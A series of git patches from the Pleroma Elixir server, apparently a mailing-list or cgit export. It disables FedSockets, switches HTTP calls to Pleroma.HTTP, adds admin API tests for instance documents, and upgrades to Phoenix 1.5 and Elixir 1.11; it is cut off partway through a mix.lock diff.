--git a/config/config.exs b/config/config.exs index 2c6142360..148e9e7da 100644 --- a/config/config.exs +++ b/config/config.exs @@ -130,7 +130,9 @@ dispatch: [ {:_, [ - {"/api/fedsocket/v1", Pleroma.Web.FedSockets.IncomingHandler, []}, + # FedSockets are commented out of the dispatch table on stable because they can't even + # fail properly when they are disabled. They will hang the connection instead of returning a 404. + # {"/api/fedsocket/v1", Pleroma.Web.FedSockets.IncomingHandler, []}, {"/api/v1/streaming", Pleroma.Web.MastodonAPI.WebsocketHandler, []}, {"/websocket", Phoenix.Endpoint.CowboyWebSocket, {Phoenix.Transports.WebSocket, diff --git a/config/description.exs b/config/description.exs index 2a1898922..fa843ea8c 100644 --- a/config/description.exs +++ b/config/description.exs @@ -273,19 +273,6 @@ } ] }, - %{ - group: :pleroma, - key: :fed_sockets, - type: :group, - description: "Websocket based federation", - children: [ - %{ - key: :enabled, - type: :boolean, - description: "Enable FedSockets" - } - ] - }, %{ group: :pleroma, key: Pleroma.Emails.Mailer, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 0b13d7e88..2c41ee932 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -219,16 +219,6 @@ config :pleroma, :mrf_user_allowlist, %{ * `total_user_limit`: the number of scheduled activities a user is allowed to create in total (Default: `300`) * `enabled`: whether scheduled activities are sent to the job queue to be executed -## FedSockets -FedSockets is an experimental feature allowing for Pleroma backends to federate using a persistant websocket connection as opposed to making each federation a seperate http connection. This feature is currently off by default. It is configurable throught he following options. - -### :fedsockets -* `enabled`: Enables FedSockets for this instance. `false` by default. -* `connection_duration`: Time an idle websocket is kept open. -* `rejection_duration`: Failures to connect via FedSockets will not be retried for this period of time. -* `fed_socket_fetches` and `fed_socket_rejections`: Settings passed to `cachex` for the fetch registry, and rejection stacks. See `Pleroma.Web.FedSockets` for more details. - - ## Frontends ### :frontend_configurations -- cgit v1.2.3 From fa6ad67397bd951d3e7f65ac3ac5ed6a3ee9b4c4 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Sun, 1 Nov 2020 19:31:17 +0000 Subject: Merge branch 'tesla-get-to-pleroma' into 'develop' Use Pleroma.HTTP instead of Tesla Closes #2275 See merge request pleroma/pleroma!3113 --- lib/pleroma/captcha/kocaptcha.ex | 2 +- lib/pleroma/emoji/pack.ex | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/captcha/kocaptcha.ex b/lib/pleroma/captcha/kocaptcha.ex index 337506647..201b55ab4 100644 --- a/lib/pleroma/captcha/kocaptcha.ex +++ b/lib/pleroma/captcha/kocaptcha.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Captcha.Kocaptcha do def new do endpoint = Pleroma.Config.get!([__MODULE__, :endpoint]) - case Tesla.get(endpoint <> "/new") do + case Pleroma.HTTP.get(endpoint <> "/new") do {:error, _} -> %{error: :kocaptcha_service_unavailable} diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index 0670f29f1..ca58e5432 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -594,7 +594,7 @@ defp fetch_pack_info(remote_pack, uri, name) do end defp download_archive(url, sha) do - with {:ok, %{body: archive}} <- Tesla.get(url) do + with {:ok, %{body: archive}} <- Pleroma.HTTP.get(url) do if Base.decode16!(sha) == :crypto.hash(:sha256, archive) do {:ok, archive} else @@ -617,7 +617,7 @@ defp fallback_sha_changed?(pack, data) do end defp update_sha_and_save_metadata(pack, data) do - with {:ok, %{body: zip}} <- Tesla.get(data[:"fallback-src"]), + with {:ok, %{body: zip}} <- Pleroma.HTTP.get(data[:"fallback-src"]), :ok <- validate_has_all_files(pack, zip) do fallback_sha = :sha256 |> :crypto.hash(zip) |> Base.encode16() -- cgit v1.2.3 From 49b43e668eb208a95a621f667f72f41b69bc10e5 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Thu, 17 Sep 2020 16:54:53 +0000 Subject: Merge branch 'instance-docs' into 'develop' AdminAPI: Allow to modify Terms of Service and Instance Panel via Admin API Closes #1516 See merge request pleroma/pleroma!2931 --- .../instance_document_controller_test.exs | 106 +++++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs new file mode 100644 index 000000000..5f7b042f6 --- /dev/null +++ b/test/web/admin_api/controllers/instance_document_controller_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do + use Pleroma.Web.ConnCase, async: true + import Pleroma.Factory + alias Pleroma.Config + + @dir "test/tmp/instance_static" + @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/instance_document/:name" do + test "return the instance document url", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn, 200) + assert String.contains?(content, @default_instance_panel) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert json_response(conn, :forbidden) + end + + test "it returns 404 if the instance document with the given name doesn't exist", %{ + conn: conn + } do + conn = get(conn, "/api/pleroma/admin/instance_document/1234") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "PATCH /api/pleroma/admin/instance_document/:name" do + test "uploads the instance document", %{conn: conn} do + image = %Plug.Upload{ + content_type: "text/html", + path: Path.absname("test/fixtures/custom_instance_panel.html"), + filename: "custom_instance_panel.html" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ + "file" => image + }) + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "<h2>Custom instance panel</h2>" + end + end + + describe "DELETE /api/pleroma/admin/instance_document/:name" do + test "deletes the instance document", %{conn: conn} do + File.mkdir!(@dir <> "/instance/") + File.write!(@dir <> "/instance/panel.html", "Custom instance panel") + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert html_response(conn_resp, 200) == "Custom instance panel" + + conn + |> delete("/api/pleroma/admin/instance_document/instance-panel") + |> json_response_and_validate_schema(200) + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn_resp, 200) + assert String.contains?(content, @default_instance_panel) + end + end +end -- cgit v1.2.3 From 6c8469664a08d2cd02bd8e6d998d8e2d5f07dac5 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Thu, 22 Oct 2020 20:33:52 +0000 Subject: Merge branch 'chore/elixir-1.11' into 'develop' Elixir 1.11 compatibility / Phoenix 1.5+ See merge request pleroma/pleroma!3059 --- config/config.exs | 3 +-- lib/phoenix/transports/web_socket/raw.ex | 7 ++++++- lib/pleroma/application.ex | 16 +++++++++++----- lib/pleroma/web.ex | 2 +- .../web/activity_pub/activity_pub_controller.ex | 4 ++-- lib/pleroma/web/activity_pub/publisher.ex | 4 +--- lib/pleroma/web/admin_api/views/report_view.ex | 2 +- lib/pleroma/web/common_api/utils.ex | 11 +---------- lib/pleroma/web/endpoint.ex | 2 ++ .../mastodon_api/controllers/auth_controller.ex | 4 ++-- .../mastodon_api/controllers/status_controller.ex | 9 ++------- lib/pleroma/web/media_proxy/invalidation/http.ex | 2 +- lib/pleroma/web/templates/layout/app.html.eex | 2 +- .../web/templates/layout/email_styled.html.eex | 2 +- .../web/templates/layout/metadata_player.html.eex | 2 +- .../web/templates/layout/static_fe.html.eex | 2 +- mix.exs | 13 ++++++++++--- mix.lock | 22 ++++++++++++---------- test/pleroma/notification_test.exs | 2 +- .../pleroma/web/activity_pub/activity_pub_test.exs | 8 ++++---- .../activity_pub/mrf/reject_non_public_test.exs | 8 ++++---- .../web/activity_pub/mrf/tag_policy_test.exs | 2 +- .../transmogrifier/announce_handling_test.exs | 2 +- .../web/activity_pub/transmogrifier_test.exs | 2 +- test/pleroma/web/common_api_test.exs | 2 +- test/pleroma/web/fed_sockets/fed_registry_test.exs | 4 ++-- .../controllers/account_controller_test.exs | 8 ++++---- .../controllers/status_controller_test.exs | 2 +- test/pleroma/web/o_auth/o_auth_controller_test.exs | 14 +++++++------- .../controllers/emoji_pack_controller_test.exs | 2 +- .../controllers/mascot_controller_test.exs | 2 +- test/support/channel_case.ex | 2 +- test/support/conn_case.ex | 3 ++- 33 files changed, 89 insertions(+), 83 deletions(-) diff --git a/config/config.exs b/config/config.exs index 148e9e7da..170e4e1c7 100644 --- a/config/config.exs +++ b/config/config.exs @@ -123,7 +123,6 @@ # Configures the endpoint config :pleroma, Pleroma.Web.Endpoint, - instrumenters: [Pleroma.Web.Endpoint.Instrumenter], url: [host: "localhost"], http: [ ip: {127, 0, 0, 1}, @@ -145,7 +144,7 @@ secret_key_base: "aK4Abxf29xU9TTDKre9coZPUgevcVCFQJe/5xP/7Lt4BEif6idBIbjupVbOrbKxl", signing_salt: "CqaoopA2", render_errors: [view: Pleroma.Web.ErrorView, accepts: ~w(json)], - pubsub: [name: Pleroma.PubSub, adapter: Phoenix.PubSub.PG2], + pubsub_server: Pleroma.PubSub, secure_cookie_flag: true, extra_cookie_attrs: [ "SameSite=Lax" diff --git a/lib/phoenix/transports/web_socket/raw.ex b/lib/phoenix/transports/web_socket/raw.ex index aab7fad99..c3665bebe 100644 --- a/lib/phoenix/transports/web_socket/raw.ex +++ b/lib/phoenix/transports/web_socket/raw.ex @@ -31,7 +31,12 @@ def init(%Plug.Conn{method: "GET"} = conn, {endpoint, handler, transport}) do case conn do %{halted: false} = conn -> - case Transport.connect(endpoint, handler, transport, __MODULE__, nil, conn.params) do + case handler.connect(%{ + endpoint: endpoint, + transport: transport, + options: [serializer: nil], + params: conn.params + }) do {:ok, socket} -> {:ok, conn, {__MODULE__, {socket, opts}}} diff --git a/lib/pleroma/application.ex b/lib/pleroma/application.ex index 301b4e273..51e9dda3b 100644 --- a/lib/pleroma/application.ex +++ b/lib/pleroma/application.ex @@ -100,7 +100,7 @@ def start(_type, _args) do ] ++ task_children(@env) ++ dont_run_in_test(@env) ++ - chat_child(@env, chat_enabled?()) ++ + chat_child(chat_enabled?()) ++ [ Pleroma.Web.Endpoint, Pleroma.Gopher.Server @@ -151,7 +151,10 @@ defp setup_instrumenters do Pleroma.Web.Endpoint.MetricsExporter.setup() Pleroma.Web.Endpoint.PipelineInstrumenter.setup() - Pleroma.Web.Endpoint.Instrumenter.setup() + + # Note: disabled until prometheus-phx is integrated into prometheus-phoenix: + # Pleroma.Web.Endpoint.Instrumenter.setup() + PrometheusPhx.setup() end defp cachex_children do @@ -202,11 +205,14 @@ defp dont_run_in_test(_) do ] end - defp chat_child(_env, true) do - [Pleroma.Web.ChatChannel.ChatChannelState] + defp chat_child(true) do + [ + Pleroma.Web.ChatChannel.ChatChannelState, + {Phoenix.PubSub, [name: Pleroma.PubSub, adapter: Phoenix.PubSub.PG2]} + ] end - defp chat_child(_, _), do: [] + defp chat_child(_), do: [] defp task_children(:test) do [ diff --git a/lib/pleroma/web.ex b/lib/pleroma/web.ex index 7779826e3..6ed19d3dd 100644 --- a/lib/pleroma/web.ex +++ b/lib/pleroma/web.ex @@ -172,7 +172,7 @@ def router do def channel do quote do # credo:disable-for-next-line Credo.Check.Consistency.MultiAliasImportRequireUse - use Phoenix.Channel + import Phoenix.Channel import Pleroma.Web.Gettext end end diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex index 570bcc7e7..44f09be75 100644 --- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex +++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex @@ -414,7 +414,7 @@ defp handle_user_activity( object = object |> Map.merge(Map.take(params, ["to", "cc"])) - |> Map.put("attributedTo", user.ap_id()) + |> Map.put("attributedTo", user.ap_id) |> Transmogrifier.fix_object() ActivityPub.create(%{ @@ -458,7 +458,7 @@ def update_outbox( %{assigns: %{user: %User{nickname: nickname} = user}} = conn, %{"nickname" => nickname} = params ) do - actor = user.ap_id() + actor = user.ap_id params = params diff --git a/lib/pleroma/web/activity_pub/publisher.ex b/lib/pleroma/web/activity_pub/publisher.ex index 9c3956683..a2930c1cd 100644 --- a/lib/pleroma/web/activity_pub/publisher.ex +++ b/lib/pleroma/web/activity_pub/publisher.ex @@ -242,9 +242,7 @@ def publish(%User{} = actor, %{data: %{"bcc" => bcc}} = activity) end) end - @doc """ - Publishes an activity to all relevant peers. - """ + # Publishes an activity to all relevant peers. def publish(%User{} = actor, %Activity{} = activity) do public = is_public?(activity) diff --git a/lib/pleroma/web/admin_api/views/report_view.ex b/lib/pleroma/web/admin_api/views/report_view.ex index 773f798fe..535556370 100644 --- a/lib/pleroma/web/admin_api/views/report_view.ex +++ b/lib/pleroma/web/admin_api/views/report_view.ex @@ -52,7 +52,7 @@ def render("show.json", %{report: report, user: user, account: account, statuses end def render("index_notes.json", %{notes: notes}) when is_list(notes) do - Enum.map(notes, &render(__MODULE__, "show_note.json", &1)) + Enum.map(notes, &render(__MODULE__, "show_note.json", Map.from_struct(&1))) end def render("index_notes.json", _), do: [] diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 21f4d43e9..3b71adf0e 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -274,7 +274,7 @@ defp build_attachment_link(_), do: "" def format_input(text, format, options \\ []) @doc """ - Formatting text to plain text. + Formatting text to plain text, BBCode, HTML, or Markdown """ def format_input(text, "text/plain", options) do text @@ -285,9 +285,6 @@ def format_input(text, "text/plain", options) do end).() end - @doc """ - Formatting text as BBCode. - """ def format_input(text, "text/bbcode", options) do text |> String.replace(~r/\r/, "") @@ -297,18 +294,12 @@ def format_input(text, "text/bbcode", options) do |> Formatter.linkify(options) end - @doc """ - Formatting text to html. - """ def format_input(text, "text/html", options) do text |> Formatter.html_escape("text/html") |> Formatter.linkify(options) end - @doc """ - Formatting text to markdown. - """ def format_input(text, "text/markdown", options) do text |> Formatter.mentions_escape(options) diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index 56562c12f..d0e01f3d9 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -9,6 +9,8 @@ defmodule Pleroma.Web.Endpoint do socket("/socket", Pleroma.Web.UserSocket) + plug(Plug.Telemetry, event_prefix: [:phoenix, :endpoint]) + plug(Pleroma.Web.Plugs.SetLocalePlug) plug(CORSPlug) plug(Pleroma.Web.Plugs.HTTPSecurityPlug) diff --git a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex index 75b809aab..9cc3984d0 100644 --- a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex @@ -24,7 +24,7 @@ def login(%{assigns: %{user: %User{}}} = conn, _params) do redirect(conn, to: local_mastodon_root_path(conn)) end - @doc "Local Mastodon FE login init action" + # Local Mastodon FE login init action def login(conn, %{"code" => auth_token}) do with {:ok, app} <- get_or_make_app(), {:ok, auth} <- Authorization.get_by_token(app, auth_token), @@ -35,7 +35,7 @@ def login(conn, %{"code" => auth_token}) do end end - @doc "Local Mastodon FE callback action" + # Local Mastodon FE callback action def login(conn, _) do with {:ok, app} <- get_or_make_app() do path = diff --git a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex index 08d6c1c22..6848adace 100644 --- a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex @@ -127,9 +127,8 @@ def index(%{assigns: %{user: user}} = conn, %{ids: ids} = _params) do @doc """ POST /api/v1/statuses - - Creates a scheduled status when `scheduled_at` param is present and it's far enough """ + # Creates a scheduled status when `scheduled_at` param is present and it's far enough def create( %{ assigns: %{user: user}, @@ -160,11 +159,7 @@ def create( end end - @doc """ - POST /api/v1/statuses - - Creates a regular status - """ + # Creates a regular status def create(%{assigns: %{user: user}, body_params: %{status: _} = params} = conn, _) do params = Map.put(params, :in_reply_to_status_id, params[:in_reply_to_id]) diff --git a/lib/pleroma/web/media_proxy/invalidation/http.ex b/lib/pleroma/web/media_proxy/invalidation/http.ex index bb81d8888..0b0cde68c 100644 --- a/lib/pleroma/web/media_proxy/invalidation/http.ex +++ b/lib/pleroma/web/media_proxy/invalidation/http.ex @@ -30,7 +30,7 @@ defp do_purge(method, url, headers, options) do {:ok, %{status: status} = env} when 400 <= status and status < 500 -> {:error, env} - {:error, error} = error -> + {:error, _} = error -> error _ -> diff --git a/lib/pleroma/web/templates/layout/app.html.eex b/lib/pleroma/web/templates/layout/app.html.eex index 51603fe0c..3f28f1920 100644 --- a/lib/pleroma/web/templates/layout/app.html.eex +++ b/lib/pleroma/web/templates/layout/app.html.eex @@ -228,7 +228,7 @@ <body> <div class="container"> <h1><%= Pleroma.Config.get([:instance, :name]) %></h1> - <%= render @view_module, @view_template, assigns %> + <%= @inner_content %> </div> </body> </html> diff --git a/lib/pleroma/web/templates/layout/email_styled.html.eex b/lib/pleroma/web/templates/layout/email_styled.html.eex index ca2caaf4d..82cabd889 100644 --- a/lib/pleroma/web/templates/layout/email_styled.html.eex +++ b/lib/pleroma/web/templates/layout/email_styled.html.eex @@ -181,7 +181,7 @@ </div> </div> <% end %> - <%= render @view_module, @view_template, assigns %> + <%= @inner_content %> </td> </tr> diff --git a/lib/pleroma/web/templates/layout/metadata_player.html.eex b/lib/pleroma/web/templates/layout/metadata_player.html.eex index 460f28094..c00f6fa21 100644 --- a/lib/pleroma/web/templates/layout/metadata_player.html.eex +++ b/lib/pleroma/web/templates/layout/metadata_player.html.eex @@ -10,7 +10,7 @@ video, audio { } </style> -<%= render @view_module, @view_template, assigns %> +<%= @inner_content %> </body> </html> diff --git a/lib/pleroma/web/templates/layout/static_fe.html.eex b/lib/pleroma/web/templates/layout/static_fe.html.eex index dc0ee2a5c..e6adb526b 100644 --- a/lib/pleroma/web/templates/layout/static_fe.html.eex +++ b/lib/pleroma/web/templates/layout/static_fe.html.eex @@ -9,7 +9,7 @@ </head> <body> <div class="container"> - <%= render @view_module, @view_template, assigns %> + <%= @inner_content %> </div> </body> </html> diff --git a/mix.exs b/mix.exs index dfa035025..f91f57644 100644 --- a/mix.exs +++ b/mix.exs @@ -114,10 +114,10 @@ defp oauth_deps do # Type `mix help deps` for examples and options. defp deps do [ - {:phoenix, "~> 1.4.17"}, + {:phoenix, "~> 1.5.5"}, {:tzdata, "~> 1.0.3"}, {:plug_cowboy, "~> 2.3"}, - {:phoenix_pubsub, "~> 1.1"}, + {:phoenix_pubsub, "~> 2.0"}, {:phoenix_ecto, "~> 4.0"}, {:ecto_enum, "~> 1.4"}, {:ecto_sql, "~> 3.4.4"}, @@ -165,9 +165,16 @@ defp deps do {:telemetry, "~> 0.3"}, {:poolboy, "~> 1.5"}, {:prometheus, "~> 4.6"}, - {:prometheus_ex, "~> 3.0"}, + {:prometheus_ex, + git: "https://git.pleroma.social/pleroma/elixir-libraries/prometheus.ex.git", + ref: "a4e9beb3c1c479d14b352fd9d6dd7b1f6d7deee5", + override: true}, {:prometheus_plugs, "~> 1.1"}, {:prometheus_phoenix, "~> 1.3"}, + # Note: once `prometheus_phx` is integrated into `prometheus_phoenix`, remove the former: + {:prometheus_phx, + git: "https://git.pleroma.social/pleroma/elixir-libraries/prometheus-phx.git", + branch: "no-logging"}, {:prometheus_ecto, "~> 1.4"}, {:recon, "~> 2.5"}, {:quack, "~> 0.1.1"}, diff --git a/mix.lock b/mix.lock index 1f2885440..07238f550 100644 --- a/mix.lock +++ b/mix.lock @@ -18,8 +18,9 @@ "connection": {:hex, :connection, "1.0.4", "a1cae72211f0eef17705aaededacac3eb30e6625b04a6117c1b2db6ace7d5976", [:mix], [], "hexpm", "4a0850c9be22a43af9920a71ab17c051f5f7d45c209e40269a1938832510e4d9"}, "cors_plug": {:hex, :cors_plug, "2.0.2", "2b46083af45e4bc79632bd951550509395935d3e7973275b2b743bd63cc942ce", [:mix], [{:plug, "~> 1.8", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "f0d0e13f71c51fd4ef8b2c7e051388e4dfb267522a83a22392c856de7e46465f"}, "cowboy": {:hex, :cowboy, "2.8.0", "f3dc62e35797ecd9ac1b50db74611193c29815401e53bac9a5c0577bd7bc667d", [:rebar3], [{:cowlib, "~> 2.9.1", [hex: :cowlib, repo: "hexpm", optional: false]}, {:ranch, "~> 1.7.1", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm", "4643e4fba74ac96d4d152c75803de6fad0b3fa5df354c71afdd6cbeeb15fac8a"}, + "cowboy_telemetry": {:hex, :cowboy_telemetry, "0.3.0", "69fdb5cf92df6373e15675eb4018cf629f5d8e35e74841bb637d6596cb797bbc", [:rebar3], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "42868c229d9a2900a1501c5d0355bfd46e24c862c322b0b4f5a6f14fe0216753"}, "cowlib": {:hex, :cowlib, "2.9.1", "61a6c7c50cf07fdd24b2f45b89500bb93b6686579b069a89f88cb211e1125c78", [:rebar3], [], "hexpm", "e4175dc240a70d996156160891e1c62238ede1729e45740bdd38064dad476170"}, - "credo": {:hex, :credo, "1.4.0", "92339d4cbadd1e88b5ee43d427b639b68a11071b6f73854e33638e30a0ea11f5", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "1fd3b70dce216574ce3c18bdf510b57e7c4c85c2ec9cad4bff854abaf7e58658"}, + "credo": {:hex, :credo, "1.4.1", "16392f1edd2cdb1de9fe4004f5ab0ae612c92e230433968eab00aafd976282fc", [:mix], [{:bunt, "~> 0.2.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "155f8a2989ad77504de5d8291fa0d41320fdcaa6a1030472e9967f285f8c7692"}, "crontab": {:hex, :crontab, "1.1.8", "2ce0e74777dfcadb28a1debbea707e58b879e6aa0ffbf9c9bb540887bce43617", [:mix], [{:ecto, "~> 1.0 or ~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm"}, "crypt": {:git, "https://github.com/msantos/crypt.git", "f63a705f92c26955977ee62a313012e309a4d77a", [ref: "f63a705f92c26955977ee62a313012e309a4d77a"]}, "custom_base": {:hex, :custom_base, "0.2.1", "4a832a42ea0552299d81652aa0b1f775d462175293e99dfbe4d7dbaab785a706", [:mix], [], "hexpm", "8df019facc5ec9603e94f7270f1ac73ddf339f56ade76a721eaa57c1493ba463"}, @@ -85,14 +86,14 @@ "p1_utils": {:hex, :p1_utils, "1.0.18", "3fe224de5b2e190d730a3c5da9d6e8540c96484cf4b4692921d1e28f0c32b01c", [:rebar3], [], "hexpm", "1fc8773a71a15553b179c986b22fbeead19b28fe486c332d4929700ffeb71f88"}, "parse_trans": {:hex, :parse_trans, "3.3.0", "09765507a3c7590a784615cfd421d101aec25098d50b89d7aa1d66646bc571c1", [:rebar3], [], "hexpm", "17ef63abde837ad30680ea7f857dd9e7ced9476cdd7b0394432af4bfc241b960"}, "pbkdf2_elixir": {:hex, :pbkdf2_elixir, "1.2.1", "9cbe354b58121075bd20eb83076900a3832324b7dd171a6895fab57b6bb2752c", [:mix], [{:comeonin, "~> 5.3", [hex: :comeonin, repo: "hexpm", optional: false]}], "hexpm", "d3b40a4a4630f0b442f19eca891fcfeeee4c40871936fed2f68e1c4faa30481f"}, - "phoenix": {:hex, :phoenix, "1.4.17", "1b1bd4cff7cfc87c94deaa7d60dd8c22e04368ab95499483c50640ef3bd838d8", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 1.1", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.8.1 or ~> 1.9", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.0", [hex: :plug_cowboy, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "3a8e5d7a3d76d452bb5fb86e8b7bd115f737e4f8efe202a463d4aeb4a5809611"}, - "phoenix_ecto": {:hex, :phoenix_ecto, "4.1.0", "a044d0756d0464c5a541b4a0bf4bcaf89bffcaf92468862408290682c73ae50d", [:mix], [{:ecto, "~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.9", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "c5e666a341ff104d0399d8f0e4ff094559b2fde13a5985d4cb5023b2c2ac558b"}, + "phoenix": {:hex, :phoenix, "1.5.6", "8298cdb4e0f943242ba8410780a6a69cbbe972fef199b341a36898dd751bdd66", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:phoenix_html, "~> 2.13", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 2.0", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}, {:plug, "~> 1.10", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 1.0 or ~> 2.2", [hex: :plug_cowboy, repo: "hexpm", optional: true]}, {:plug_crypto, "~> 1.1.2 or ~> 1.2", [hex: :plug_crypto, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "0dc4d39af1306b6aa5122729b0a95ca779e42c708c6fe7abbb3d336d5379e956"}, + "phoenix_ecto": {:hex, :phoenix_ecto, "4.2.1", "13f124cf0a3ce0f1948cf24654c7b9f2347169ff75c1123f44674afee6af3b03", [:mix], [{:ecto, "~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.14.2 or ~> 2.15", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "478a1bae899cac0a6e02be1deec7e2944b7754c04e7d4107fc5a517f877743c0"}, "phoenix_html": {:hex, :phoenix_html, "2.14.2", "b8a3899a72050f3f48a36430da507dd99caf0ac2d06c77529b1646964f3d563e", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "58061c8dfd25da5df1ea0ca47c972f161beb6c875cd293917045b92ffe1bf617"}, - "phoenix_pubsub": {:hex, :phoenix_pubsub, "1.1.2", "496c303bdf1b2e98a9d26e89af5bba3ab487ba3a3735f74bf1f4064d2a845a3e", [:mix], [], "hexpm", "1f13f9f0f3e769a667a6b6828d29dec37497a082d195cc52dbef401a9b69bf38"}, - "phoenix_swoosh": {:hex, :phoenix_swoosh, "0.3.0", "2acfa0db038a7649e0a4614eee970e6ed9a39d191ccd79a03583b51d0da98165", [:mix], [{:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:phoenix, "~> 1.4", [hex: :phoenix, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.14", [hex: :phoenix_html, repo: "hexpm", optional: false]}, {:swoosh, "~> 1.0", [hex: :swoosh, repo: "hexpm", optional: false]}], "hexpm", "b8bbae4b59a676de6b8bd8675eda37bc8b4424812ae429d6fdcb2b039e00003b"}, + "phoenix_pubsub": {:hex, :phoenix_pubsub, "2.0.0", "a1ae76717bb168cdeb10ec9d92d1480fec99e3080f011402c0a2d68d47395ffb", [:mix], [], "hexpm", "c52d948c4f261577b9c6fa804be91884b381a7f8f18450c5045975435350f771"}, + "phoenix_swoosh": {:hex, :phoenix_swoosh, "0.3.2", "43d3518349a22b8b1910ea28b4dd5119926d5017b3187db3fbd1a1e05769a851", [:mix], [{:hackney, "~> 1.9", [hex: :hackney, repo: "hexpm", optional: false]}, {:phoenix, "~> 1.4", [hex: :phoenix, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.14", [hex: :phoenix_html, repo: "hexpm", optional: false]}, {:swoosh, "~> 1.0", [hex: :swoosh, repo: "hexpm", optional: false]}], "hexpm", "3e2ac4e883db7af0702d75ba00c19901760e8342b91f8f66e13941de552e777f"}, "plug": {:hex, :plug, "1.10.4", "41eba7d1a2d671faaf531fa867645bd5a3dce0957d8e2a3f398ccff7d2ef017f", [:mix], [{:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:plug_crypto, "~> 1.1.1 or ~> 1.2", [hex: 